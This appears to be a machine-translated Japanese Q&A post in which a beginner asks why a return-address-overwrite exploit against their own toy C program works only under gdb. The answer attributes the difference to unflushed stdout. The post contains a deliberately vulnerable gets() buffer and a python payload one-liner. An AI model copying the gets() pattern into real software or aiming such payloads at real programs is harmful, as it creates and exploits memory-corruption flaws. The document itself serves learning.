tl; dr:なぜ私のエクスプロイトはgdb内でのみ機能するのですか。
私はバッファオーバーフローとエクスプロイト開発の分野に非常に慣れていません。一連の論文やビデオに基づいてスキルを向上させるために、このシンプルなCソフトウェアを作成しました。
注:ASLRを無効にしました
私の質問はこれとは異なると思います: バッファオーバーフローのエクスプロイトはgdbで機能しますが、機能しません 。作成者はASRLを有効にしているようです。
#include <stdio.h>
#include <string.h>
void granted()
{
printf ("\nAccess granted\n");
return;
}
int main()
{
char password[104];
printf ("Enter your password: ");
gets(password);
if (strcmp(password,"p@$$w0rd"))
{
printf("\nFailed!!");
}
else
{
granted();
}
}
私の知る限り、小さなバグがあります。103文字をはるかに超える文字を入力することが可能です。
私の最初の悪用の目的は、実行フローを許可された機能にリダイレクトすることでした。
エクスプロイトを生成するために、次のコマンドを使用しましたpython -c 'print "A"*100+"\x9b\x84\x04\x08"+"BBBB"' > payload-access-granted
me@computer:~$ gdb bof3.bin
(gdb) r < payload-access-granted
Starting program: /home/me/bof3.bin < payload-access-granted
Enter your password:
Failed!!
Access granted
Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
ご覧のとおり、ペイロードは期待どおりに動作しました。付与された関数にジャンプしました。エクスプロイトは機能しています...しかし
Gdb外:
me@computer:~$ ./bof3.bin < payload-access-granted
Enter your password:
Segmentation fault (core dumped)
それで、なぜこれが起こるのですか?私は何を正しくしなかったのですか?
ほとんどの場合、機能していますが、プログラムはAccess Granted printfが画面にフラッシュされていないためにクラッシュします。 SIGSEGVでクラッシュしても、バッファーがフラッシュされることはありません。 printf
のgranted
呼び出しの後にfflush(stdout);
を追加すると、目的の動作が得られる可能性があります。